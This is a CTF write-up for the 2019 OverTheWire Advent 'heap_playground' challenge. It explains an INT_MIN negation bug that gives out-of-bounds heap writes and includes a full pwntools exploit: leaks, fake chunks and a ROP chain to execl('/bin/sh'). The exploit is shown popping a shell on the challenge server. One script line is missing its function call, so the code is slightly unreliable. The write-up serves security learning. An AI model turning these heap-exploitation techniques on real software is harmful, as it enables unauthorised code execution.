About
This post is part of a series in which I’ll post writeups for all challenges of the OverTheWire Advent Bonanza 2019 CTF. To see the intro, click here
Overview
Before we begin, I just want to say that I used two awesome blog posts (here and here) by azeria labs a lot while working on this challenge. They’re great posts which go into detail on the libc heap behavior.
When we download the binary, it just seems like a regular heap challenge. We can create chunks with a specific size, we can delete them, print them, edit them, and exit. Also attached is the used libc. The file command says the following:
$ file heap_playground heap_playground: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=9cad9bc14ad48f5714574081496ed9cfa380d8e3, not stripped
So it’s 64 bit, not stripped. That’s good. Let’s check the security:
$ checksec heap_playground [*] './heap_playground' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
That doesn’t look too good. We have RELRO, Stack Canarys, NX and PIE. So the full program of security measures. This certainly won’t make it easy. Here’s a quick demonstration of the program:
$ ./heap_playground Heap playground! 1. Create chunk 2. Delete chunk 3. Print chunk 4. Edit chunk 5. Exit Choice: 1 Size of the chunk: 8 Content: Popax21 Created chunk 1 1. Create chunk 2. Delete chunk 3. Print chunk 4. Edit chunk 5. Exit Choice: 3 ID of chunk: 1 Chunk 1: Popax21 1. Create chunk 2. Delete chunk 3. Print chunk 4. Edit chunk 5. Exit Choice: 4 ID of chunk: 1 Index of character to edit: 0 Character: p 1. Create chunk 2. Delete chunk 3. Print chunk 4. Edit chunk 5. Exit Choice: 3 ID of chunk: 1 Chunk 1: popax21 1. Create chunk 2. Delete chunk 3. Print chunk 4. Edit chunk 5. Exit Choice: 2 ID of chunk: 1 Chunk deleted! 1. Create chunk 2. Delete chunk 3. Print chunk 4. Edit chunk 5. Exit Choice: 3 No chunks yet! 1. Create chunk 2. Delete chunk 3. Print chunk 4. Edit chunk 5. Exit Choice: 5
Analysing the libc
The file name of the attached libc hints at version 2.27, but let’s check:
$ ./libc-2.27.so GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27. Copyright (C) 2018 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 7.3.0. libc ABIs: UNIQUE IFUNC For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
So the versions do indeed match. Also this version of libc has tcaches, which is good to know when writing exploits, because they can be annoying. Let’s check the file command:
$ file libc-2.27.so libc-2.27.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b417c0ba7cc5cf06d1d1bed6652cedb9253c60d0, for GNU/Linux 3.2.0, stripped
Well, it’s stripped. That’s not so good, because we maybe need some internal symbols. So let’s look for a version of this libc which is not stripped. After some googling I came accross the Ubuntu package libc6-dbg, and found it’s 2.27-3ubuntu1 (the version of the attached libc) build here. It’s in .deb format, so we can easily extract the libc symbols via the following commands:
$ ar x libc6-dbg_2.27-3ubuntu1_amd64.deb $ tar -xf data.tar.xz $ find . | grep libc ./usr/lib/debug/lib/x86_64-linux-gnu/libc-2.27.so ./usr/lib/debug/lib/x86_64-linux-gnu/libcidn-2.27.so ./usr/lib/debug/lib/x86_64-linux-gnu/libcrypt-2.27.so ./usr/share/doc/libc6-dbg ./usr/share/doc/libc6-dbg/changelog.Debian.gz ./usr/share/doc/libc6-dbg/copyright ./libc6-dbg_2.27-3ubuntu1_amd64.deb $ cp usr/lib/debug/lib/x86_64-linux-gnu/libc-2.27.so . $ rm -rf control.tar.xz data.tar.xz debian-binary usr libc6-dbg_2.27-3ubuntu1_amd64.deb
Let’s compare the build ids:
$ file libc-2.27.so libc-2.27.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b417c0ba7cc5cf06d1d1bed6652cedb9253c60d0, for GNU/Linux 3.2.0, stripped $ file libc-2.27.dbg.so libc-2.27.dbg.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter *empty*, BuildID[sha1]=b417c0ba7cc5cf06d1d1bed6652cedb9253c60d0, for GNU/Linux 3.2.0, with debug_info, not stripped
They match! But our second libc only includes symbols, no actual code. But we can merge it with the stripped version using elfutils:
$ eu-unstrip libc-2.27.so libc-2.27.dbg.so -o libc-2.27.mrg.so $ file libc-2.27.mrg.so libc-2.27.mrg.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b417c0ba7cc5cf06d1d1bed6652cedb9253c60d0, for GNU/Linux 3.2.0, with debug_info, not stripped $ ./libc-2.27.mrg.so GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27. Copyright (C) 2018 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 7.3.0. libc ABIs: UNIQUE IFUNC For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
So now here’s a thing I like to do: I like to create a copy of the challenge binary, and patch it using patchelf to use the attached libc, so that I don’t have to hardcode two sets of offsets for the different libcs. But there’s a problem: We don’t have all required binaries! But we can fix that by using niklasb’s libc database! If we tell it our libc version, we can download the complete libc build and extract every binary we need from it:
$ ./download libc6_2.27-3ubuntu1_amd64 Getting libc6_2.27-3ubuntu1_amd64 -> Location: http://mirrors.kernel.org/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1_amd64.deb -> Downloading package -> Extracting package -> Package saved to libs/libc6_2.27-3ubuntu1_amd64 $ ls libs/libc6_2.27-3ubuntu1_amd64/ ld-2.27.so libmemusage.so libnss_nisplus-2.27.so ld-linux-x86-64.so.2 libm.so.6 libnss_nisplus.so.2 libanl-2.27.so libmvec-2.27.so libnss_nis.so.2 libanl.so.1 libmvec.so.1 libpcprofile.so libBrokenLocale-2.27.so libnsl-2.27.so libpthread-2.27.so libBrokenLocale.so.1 libnsl.so.1 libpthread.so.0 libc-2.27.so libnss_compat-2.27.so libresolv-2.27.so libcidn-2.27.so libnss_compat.so.2 libresolv.so.2 libcidn.so.1 libnss_dns-2.27.so librt-2.27.so libcrypt-2.27.so libnss_dns.so.2 librt.so.1 libcrypt.so.1 libnss_files-2.27.so libSegFault.so libc.so.6 libnss_files.so.2 libthread_db-1.0.so libdl-2.27.so libnss_hesiod-2.27.so libthread_db.so.1 libdl.so.2 libnss_hesiod.so.2 libutil-2.27.so libm-2.27.so libnss_nis-2.27.so libutil.so.1
Now we can collect all required binaries and patch the challenge:
$ cp -r /path/to/db/libs/libc6_2.27-3ubuntu1_amd64/ libc $ rm libc/libc.so.6 libc/libc-2.27.so $ cp libc-2.27.mrg.so libc/libc.so.6 $ cp libc-2.27.mrg.so libc/libc-2.27.so $ cp heap_playground heap_playground_bck $ patchelf --set-interpreter `realpath libc/ld-linux-x86-64.so.2` --force-rpath --set-rpath `realpath libc/` heap_playground $ chmod +x heap_playground $ ./heap_playground Heap playground! 1. Create chunk 2. Delete chunk 3. Print chunk 4. Edit chunk 5. Exit Choice: 5
Reversing the binary
So let’s open the challenge in Ghidra. I’ll skip over the actual reversing, but here’re the most important things we’ll find:
- Each choice (create, delete, print, edit) has it’s own function (alloc_chunk, free_chunk, print_chunk, edit_chunk)
- Chunks are limited to 1024 in size
- Chunks are stored in an 1 way linked list, and the head of the list is stored in the variable head.
- Each time a chunk is allocated, the variable glob_id is incremented, and the new chunk’s id is set to it’s value. Then the chunk is inserted at the end of the linked list
- print_chunk and edit_chunk use the function find_chunk to find the specified chunk in the linked list
- For finding chunks in the linked list: First the id is checked to be in the range of [0 … glob_id] (inclusive). After that the linked list is searched for a chunk with the given id. Here’s the implementation of find_chunk (note that free_chunk has it’s own implementation, but it looks mostly the same):
chunk* find_chunk(int id) { chunk *chunk_ptr; if ((glob_id < id) || (id < 0)) { puts("No such chunk!"); chunk_ptr = NULL; } else { chunk_ptr = head; while (chunk_ptr != NULL) { if (id == chunk_ptr->id) goto done; chunk_ptr = chunk_ptr->next; } puts("No such chunk!"); chunk_ptr = NULL; } done: return chunk_ptr; }
- The chunk structure looks like the folowing:
typedef struct { int id; //0x00 (The chunk's id) int size; //0x04 (Size of content) chunk *next; //0x08 (The next chunk in the linked list) char content[]; //0x10 (The chunk's content; Properly null terminated) } chunk;
The bug(s)
The bug is in the edit_chunk function:
void edit_chunk(chunk *chunk,int idx,char chr) { int actual_idx = idx; if (idx < 0) { actual_idx = -idx; } memset(chunk->content + (actual_idx % chunk->size), chr, 1); }
There are actually two bugs. One is rather obvious: We can overwrite the null terminator. But this is only a OOB read, so we can only leak stuff. But the second bug is much more interesting. To understand it, let’s take a look at what happens when negating a number (using the NEG instruction). The following two steps happen:
- Invert all bits
- Add one
This correctly inverts almost every number. But one is special: The number -2147483648 (for 32 bit integers), which is 0x80000000 in hexadecimal. Now let’s try inverting it via our procedure from above:
- Invert all bits (0x80000000 -> 0x7fffffff)
- Add one (0x7fffffff -> 0x80000000)
When we invert it, we get back the original number! By the way, this is called the Leblancian Paradox. So when we pass the above code this special number as the index, we’ll actually write to an negative index, which we can partially control with our chunk’s size!
The exploitation plan
So, with a OOB read and an memory corruption vulnerability in our hands, let’s get a shell! The plan is:
- Leak heap and libc base addresses
- Leak environ for a stack leak
- Overwrite the return address with a ROP chain, which calls system
- Profit!
You might be wondering, why I didn’t use the free_hook? If we look at the chunk structure, we can see that the id variable is at the beginning of the structure, so’ll actually execute our id, which isn’t what we want. (I have heard somebody allocated chunks until he got a chunk with id 0x6873, which is the string “sh”. It took one hour to execute on the challenge server!)
But to execute our plan, we need RW primitives! The read primitve isn’t a problem, because we can craft a fake chunk around our target address with our write primitive. But how do we get a write primitive? At first it seems simple: Craft a chunk with the maximal size, and we can then edit the entire memory! But if we look again, we’ll see that size is only a 32 bit integer! Actually, the only pointer we can control is the next pointer. So we have to rely on fake chunks already present.
Also about cleanup: When we finish one “stage”, we should get the bins in an empty state, otherwise they’ll be annoying to deal with, because our allocations may be somewhere where we don’t want them. So we have to allocate chunks to fill each gap after each “stage”.
Leaking the heap base
We can achieve that quite easily by allocating a chunk, freeing it, and then allocating another chunk right before the next pointer, which’ll point to another chunk on the heap. Then we can use our OOB read primitive to leak that pointer. But because how memory ends up being aligned, we have to overwrite the first byte of the pointer. But that’s OK, because only the page part (bits 12-32) is relevant, so we can just ignore the lowest byte. After implementing it (with some heap magic around it to make it work), we can successfully leak the heap base:
$ python exploit.py heap_playground Exploiting local binary 'heap_playground' [!] Could not find executable 'heap_playground' in $PATH, using './heap_playground' instead [+] Starting local process './heap_playground': pid 4877 [*] Leaked heap base 0x55bd6a44c000! [*] Stopped process './heap_playground' (pid 4877)
To make this work we also had to preserve the next pointer of a freed chunk. That’s a little problematic, because libc would write the bck pointer there. But we can let the chunk merge with another one, so that the next pointer is still intact.
Leaking the libc base
We can mostly use the same code from before, but instead of preserving the next pointer, we actually want libc to overwrite it with the bck pointer! With that we leak a pointer into the libc main_arena. From it we can calculate the base address. (NOTE: Normally we wouldn’t have this symbol in libc, but because of our work from above, we have!) After implementing this, we leak the libc base:
$ python exploit.py heap_playground Exploiting local binary 'heap_playground' [!] Could not find executable 'heap_playground' in $PATH, using './heap_playground' instead [+] Starting local process './heap_playground': pid 5408 [*] Leaked heap base 0x560676d70000! [*] Leaked libc base 0x7fe0da78e000! [*] Stopped process './heap_playground' (pid 5408)
Crafting a hax chunk
So, now we should craft a hax chunk, which will allow us to write OOB to the heap. For that, we need our memory corruption vulnerability. We want to change our size to something huge. If we look again at the chunk structure and at the edit_chunk function, we see that we want to edit the character index -9, which corresponds to the most significant byte of the size field. We can control which negative offset we write to with our chunk’s size. So let’s just bruteforce a chunk size, which ends up fulfilling the following formula:
-2147483648 \mod x = -9This doesn’t take too long, because chunk size must be in the range of [1 … 1024] (inclusive). So we then allocate a hax chunk with our found size, and edit the character at index -2147483648, which ends up overwriting the most significant byte of the size field. We can then allocate a victim chunk after our hax chunk, and edit its chunk data to our hearts content! Here’s the exploit, which we have so far, in action:
$ python exploit.py heap_playground Exploiting local binary 'heap_playground' [!] Could not find executable 'heap_playground' in $PATH, using './heap_playground' instead [+] Starting local process './heap_playground': pid 6162 [*] Leaked heap base 0x55dc85b5b000! [*] Leaked libc base 0x7fed9e49b000! [*] Found working hax size 17! [*] Crafted hax chunk! [*] Stopped process './heap_playground' (pid 6162)
Leaking environ
Now we’ll leak environ to get the address of the stack. But how should we approach this? Our only read primitive requires that we have a chunk around our target address! But we don’t have a write primitive for libc! But we can search libc for memory that looks like a fake chunk that allows us to write before environ. Then we craft a chunk there, and print it! Good thing is that pwntools has a function called search! So we can just search for a working chunk, and then overwrite the next pointer of victim via the hax chunk! This’ll allow us to use this fake chunk, and craft another fake chunk around environ! Let’s see it in action:
$ python exploit.py heap_playground Exploiting local binary 'heap_playground' [!] Could not find executable 'heap_playground' in $PATH, using './heap_playground' instead [+] Starting local process './heap_playground': pid 7033 [*] Leaked heap base 0x55961adbf000! [*] Leaked libc base 0x7f3688c6a000! [*] Found working hax size 17! [*] Crafted hax chunk! [*] Found good libc fake chunk at address 0x7f3688c6a049! [*] Crafted fake chunk around environ at address 0x7f3689058088! [*] Leaked environ 0x7ffe11c2fc08! [*] Stopped process './heap_playground' (pid 7033)
Placing our ROP chain
The last thing we have to do is place our ROP chain. We have the stack address, because we leaked environ. Here’s the plan of doing that:
- Craft a fake chunk
- Use this fake chunk to overwrite the return address
But where do we craft the fake chunk? One candidate is the input buffer, which is used by main to store our input. So by placing our fake chunk in the input buffer, and then overwriting victim’s next pointer to point to it, we can write on the stack. We can calculate the address of our fake chunk by subtracting a offset from environ. Here’s a our exploit with a ROP chain which just calls exit:
$ python exploit.py heap_playground Exploiting local binary 'heap_playground' [!] Could not find executable 'heap_playground' in $PATH, using './heap_playground' instead [+] Starting local process './heap_playground': pid 7741 [*] Leaked heap base 0x5606746b9000! [*] Leaked libc base 0x7f1939ef8000! [*] Found working hax size 17! [*] Crafted hax chunk! [*] Found good libc fake chunk at address 0x7f1939ef8049! [*] Crafted fake chunk around environ at address 0x7f193a2e6088! [*] Leaked environ 0x7fffbcb06e48! [*] Placed fake chunk in input buffer at address 0x7fffbcb06950! [*] Placed ROP chain at address 0x7fffbcb06d58! [*] Executed ROP chain! [*] Switching to interactive mode [*] Process './heap_playground' stopped with exit code 176 (pid 7741) [*] Got EOF while reading in interactive $
Constructing our ROP chain
Now we just need to create a ROP chain which calls system. The first problem: Where do we store our command? But that’s easy, we can just allocate a chunk with our command at the beginning of our exploit, and then calculate its content’s address. But we also have a second problem: Somehow system just crashes. So we have to use another function. I went for execl, because we can just call it like the following:
execl("/bin/sh", NULL);
A good thing is that rsi (the second argument) already is 0! So we only need the following gadget:
- pop rdi; ret;
Or assembled:
- \x5f\xc3
Now we can just search libc for this gadget, and then craft our ROP chain. Here’s the exploit in action, but exploiting my local machine:
$ python exploit.py heap_playground Exploiting local binary 'heap_playground' [!] Could not find executable 'heap_playground' in $PATH, using './heap_playground' instead [+] Starting local process './heap_playground': pid 10297 [*] Leaked heap base 0x55d48b98e000! [*] Command is at address 0x55d48b98f280! [*] Leaked libc base 0x7f5f5b800000! [*] Found working hax size 17! [*] Crafted hax chunk! [*] Found good libc fake chunk at address 0x7f5f5b800049! [*] Crafted fake chunk around environ at address 0x7f5f5bbee088! [*] Leaked environ 0x7fff31a4fe78! [*] Placed fake chunk in input buffer at address 0x7fff31a4f980! [*] Placed ROP chain at address 0x7fff31a4fd88! [*] Executed ROP chain! [*] Switching to interactive mode $ echo "PWNED!" PWNED! $
Exploiting the challenge server
So we just have to execute our exploit on the real challenge server, and get the flag:
$ python exploit.py heap_playground 3.93.128.89 1215 Exploiting remote '3.93.128.89' port 1215 [+] Opening connection to 3.93.128.89 on port 1215: Done [*] Leaked heap base 0x558758bdb000! [*] Command is at address 0x558758bdc280! [*] Leaked libc base 0x7f34d1701000! [*] Found working hax size 17! [*] Crafted hax chunk! [*] Found good libc fake chunk at address 0x7f34d1701049! [*] Crafted fake chunk around environ at address 0x7f34d1aef088! [*] Leaked environ 0x7fff098e3748! [*] Placed fake chunk in input buffer at address 0x7fff098e3250! [*] Placed ROP chain at address 0x7fff098e3658! [*] Executed ROP chain! [*] Switching to interactive mode $ ls flag heap_playground $ cat flag AOTW{d0_y0u_kn0w_th3_l3bl4nc14n_p4r4d0X}$
And the flag is:
AOTW{d0_y0u_kn0w_th3_l3bl4nc14n_p4r4d0X}
My exploit script:
#!/usr/bin/python3 from pwn import * from sys import argv, exit from math import ceil if len(argv) < 2: exit() binary = argv[1] if len(argv) >= 4: host = argv[2] port = int(argv[3]) print("Exploiting remote '%s' port %d" % (host, port)) tube = remote(host, port) else: print("Exploiting local binary '%s'" % binary) tube = process(binary) binary = ELF(binary) libc = binary.libc #Wrapper functions def choose(choice): tube.recvuntil("Choice: ") tube.sendline(str(choice)) def allocChunk(size, content): assert size > 0 and size <= 0x400 assert len(content) < size choose(1) tube.recvuntil("Size of the chunk: ") tube.sendline(str(size)) tube.recvuntil("Content: ") tube.sendline(content) return int(tube.recvline()[14:-1]) def freeChunk(chunk_id): choose(2) tube.recvuntil("ID of chunk: ") tube.sendline(str(chunk_id)) def printChunk(chunk_id): choose(3) tube.recvuntil("ID of chunk: ") tube.sendline(str(chunk_id)) tube.recvline() return tube.recvline()[:-1] def editChunk(chunk_id, index, char): choose(4) tube.recvuntil("ID of chunk: ") tube.sendline(str(chunk_id)) tube.recvuntil("Index of character to edit: ") tube.sendline(str(index)) tube.recvuntil("Character: ") tube.sendline(chr(char)) #<><><><><><><><><><> Some exploit params <><><><><><><><><><> HEAP_OFFSET = 0x1260 TCACHE_SIZE = 7 FASTBIN_MAX_CHUNK_SIZE = 0x80 COMMAND = "/bin/sh" #<><><><><><><><><><> Place command on the heap <><><><><><><><><><> allocChunk(len(COMMAND) + 1, COMMAND) #<><><><><><><><><><> Leak heap base <><><><><><><><><><> #Allocate tcache fillers tcache_fillers = [allocChunk(FASTBIN_MAX_CHUNK_SIZE, b"") for _ in range(TCACHE_SIZE)] #Allocate placeholder chunk placeholder = allocChunk(FASTBIN_MAX_CHUNK_SIZE, b"") #Heap size 0x10 + FASTBIN_MAX_CHUNK_SIZE #Allocate victim chunk victim = allocChunk(FASTBIN_MAX_CHUNK_SIZE, b"") #Heap size 0x10 + FASTBIN_MAX_CHUNK_SIZE #Allocate seperator chunk seperator = allocChunk(8, b"") #Heap size doesn't matter #Fill tcache for tcache_filler in tcache_fillers: freeChunk(tcache_filler) #Free chunks #ORDER IS IMPORTANT freeChunk(placeholder) freeChunk(victim) #Can merge, no need to write bck ptr #Alloacte hax chunk hax_size = FASTBIN_MAX_CHUNK_SIZE + 0x10 + 0x8 + 1 #Resulting chunk will overlap one byte into the victim chunk's next pointer hax = allocChunk(hax_size, b"A" * (hax_size - 1)) #Hax! editChunk(hax, hax_size - 1, 0x21) #Overwrite null terminator leak = printChunk(hax)[hax_size-1:] #Leak the next pointer #Parse leak leak += b"\x00" * (8 - len(leak)) #Zero pad leak leak = u64(leak) #Unpack the next pointer #Calculate heap base heap_base = leak & ~(0xfff) #Mask out low bits heap_base -= 0x1000 #Some corrections #Cleanup (by filling gaps) #OPTIMIZATION: Don't fill tcache fillers holes, because we will allocate them again in the next step #for _ in range(TCACHE_SIZE): allocChunk(FASTBIN_MAX_CHUNK_SIZE, b"") allocChunk(FASTBIN_MAX_CHUNK_SIZE * 2 - hax_size, b"") #Done! log.info("Leaked heap base 0x%x!" % heap_base) #Calc command address on heap cmd_addr = heap_base + HEAP_OFFSET + 0x10 + 0x10 log.info("Command is at address 0x%x!" % cmd_addr) #<><><><><><><><><><> Leak libc base <><><><><><><><><><> #Allocate tcache fillers tcache_fillers = [allocChunk(FASTBIN_MAX_CHUNK_SIZE, b"") for _ in range(TCACHE_SIZE)] #Allocate placeholder chunk placeholder = allocChunk(FASTBIN_MAX_CHUNK_SIZE, b"") #Heap size 0x10 + FASTBIN_MAX_CHUNK_SIZE #Allocate victim chunk victim = allocChunk(FASTBIN_MAX_CHUNK_SIZE, b"") #Heap size 0x10 + FASTBIN_MAX_CHUNK_SIZE #Allocate seperator chunk seperator = allocChunk(8, b"") #Heap size doesn't matter #Fill tcache for tcache_filler in tcache_fillers: freeChunk(tcache_filler) #Free chunks #ORDER IS IMPORTANT freeChunk(victim) #No room to merge, write bck ptr freeChunk(placeholder) #Alloacte hax chunk hax_size = FASTBIN_MAX_CHUNK_SIZE + 0x10 + 0x8 + 1 #Resulting chunk will overlap one byte into the libc bck pointer hax = allocChunk(hax_size, b"A" * (hax_size - 1)) #Hax! editChunk(hax, hax_size - 1, 0x21) #Overwrite null terminator leak = printChunk(hax)[hax_size-1:] #Leak the next pointer #Parse leak leak += b"\x00" * (8 - len(leak)) #Zero pad leak leak = u64(leak) #Unpack the bck pointer #Calc libc base main_arena_page = leak & ~(0xfff) libc_base = main_arena_page - (libc.symbols["main_arena"] & ~(0xfff)) #Cleanup (by filling gaps) for _ in range(TCACHE_SIZE): allocChunk(FASTBIN_MAX_CHUNK_SIZE, b"") allocChunk(FASTBIN_MAX_CHUNK_SIZE * 2 - hax_size, b"") #Done! log.info("Leaked libc base 0x%x!" % libc_base) #<><><><><><><><><><> Craft hax chunk <><><><><><><><><><> #Brute force a working hax chunk size from math import fmod #A mod which works the same as the C mod hax_idx = -2147483648 hax_target_idx = -9 #Overwrite most significant byte of the size field of the hax chunk for hax_size in range(1, 1024+1): if fmod(hax_idx, hax_size) == hax_target_idx: break else: log.warn("No working hax size found!") exit() log.info("Found working hax size %d!" % hax_size) #Allocate hax and victim chunks hax = allocChunk(hax_size, b"") victim = allocChunk(8, b"") #Size doesn't matter #Hax! editChunk(hax, hax_idx, 0xff) #Make our size really huge #Calc offset of hax and victim hax_heap_size = 0x10 + hax_size hax_heap_size = hax_heap_size - 0x8 hax_heap_size = ceil(hax_heap_size / 0x10) * 0x10 + 0x8 #<hax content size> + <heap metadata size> hax_victim_offset = (hax_heap_size - 0x10) + 0x8 #Helper function for later def editVictimNextPtr(ptr): for b in range(8): byte = ptr & 0xff ptr = ptr >> 8 if byte != 0: editChunk(hax, hax_victim_offset + 0x8 + b, byte) log.info("Crafted hax chunk!") #<><><><><><><><><><> Leak environ <><><><><><><><><><> #Find a good fake chunk in libc environ_offset = libc.symbols["environ"] libc_fake_chunk = b"" libc_fake_chunk += p32(0) #We want id 0 #We'll check the rest in the loop for libc_fake_chunk_offset in libc.search(libc_fake_chunk): libc_fake_chunk_size = libc.u32(libc_fake_chunk_offset + 0x4) #Read the size field #Does it reach environ? if libc_fake_chunk_offset + libc_fake_chunk_size + 0x10 >= environ_offset: break else: log.warn("No good fake chunk in libc found!") #Calc libc fake chunk addr libc_fake_chunk_addr = libc_base + libc_fake_chunk_offset log.info("Found good libc fake chunk at address 0x%x!" % libc_fake_chunk_addr) #Overwrite next pointer so it points at our fake chunk editVictimNextPtr(libc_fake_chunk_addr) #Craft fake chunk around environ environ_fake_chunk = b"" environ_fake_chunk += p32(0) #id environ_fake_chunk += p32(0x8) #size environ_fake_chunk += p64(0) #next environ_fake_chunk_offset = environ_offset - 0x10 #Write fake chunk around environ environ_libc_fake_chunk_offset = environ_fake_chunk_offset - libc_fake_chunk_offset - 0x10 for b in range(len(environ_fake_chunk)): #id 0 is our fake chunk if environ_fake_chunk[b] != 0: (0, environ_libc_fake_chunk_offset + b, environ_fake_chunk[b]) #Calc environ fake chunk address environ_fake_chunk_addr = libc_base + environ_fake_chunk_offset log.info("Crafted fake chunk around environ at address 0x%x!" % environ_fake_chunk_addr) #Overwrite next pointer so it points at our fake chunk around environ editVictimNextPtr(environ_fake_chunk_addr) #Leak! #id 0 is our environ fake chunk leak = printChunk(0) #Parse leak leak += b"\x00" * (8 - len(leak)) environ = u64(leak) #Done! log.info("Leaked environ 0x%x!" % environ) #<><><><><><><><><><> Construct ROP chain <><><><><><><><><><> pop_rdi_gagdget = libc_base + next(libc.search(b"\x5f\xc3")) rop_chain = b"" rop_chain += p64(pop_rdi_gagdget) #pop rdi; ret; rop_chain += p64(cmd_addr) #Will be popped into rax rop_chain += p64(libc_base + libc.symbols["execl"]) #Call execl #<><><><><><><><><><> Place ROP chain <><><><><><><><><><> STACK_FAKE_CHUNK_PADDING_LEN = 0x10 STACK_FAKE_CHUNK_ENVIRON_OFFSET = 0x4f8 STACK_FAKE_CHUNK_RETURN_OFFSET = 0x418 - STACK_FAKE_CHUNK_PADDING_LEN - 0x10 #Place fake chunk in the input buffer fake_chunk = b"" fake_chunk += p32(0) #id fake_chunk += p32(0x101010) #size fake_chunk += p64(0) #next tube.recvuntil("Choice: ") tube.sendline(b"\x21" * STACK_FAKE_CHUNK_PADDING_LEN + fake_chunk) #Calc fake chunk addr fake_chunk_addr = environ - STACK_FAKE_CHUNK_ENVIRON_OFFSET log.info("Placed fake chunk in input buffer at address 0x%x!" % fake_chunk_addr) #Overwrite next pointer editVictimNextPtr(fake_chunk_addr) #Place ROP Chain for b in range(len(rop_chain)): #id 0 is our fake chunk if rop_chain[b] != 0: editChunk(0, STACK_FAKE_CHUNK_RETURN_OFFSET + b, rop_chain[b]) log.info("Placed ROP chain at address 0x%x!" % (fake_chunk_addr + 0x10 + STACK_FAKE_CHUNK_RETURN_OFFSET)) #<><><><><><><><><><> Execute ROP chain <><><><><><><><><><> choose(5) log.info("Executed ROP chain!") tube.interactive() tube.close()
Cool posts, congratulations Popa21. You can perfectly see how much effort it was to solve the challenges. I hope there is another Advent Challenge this year.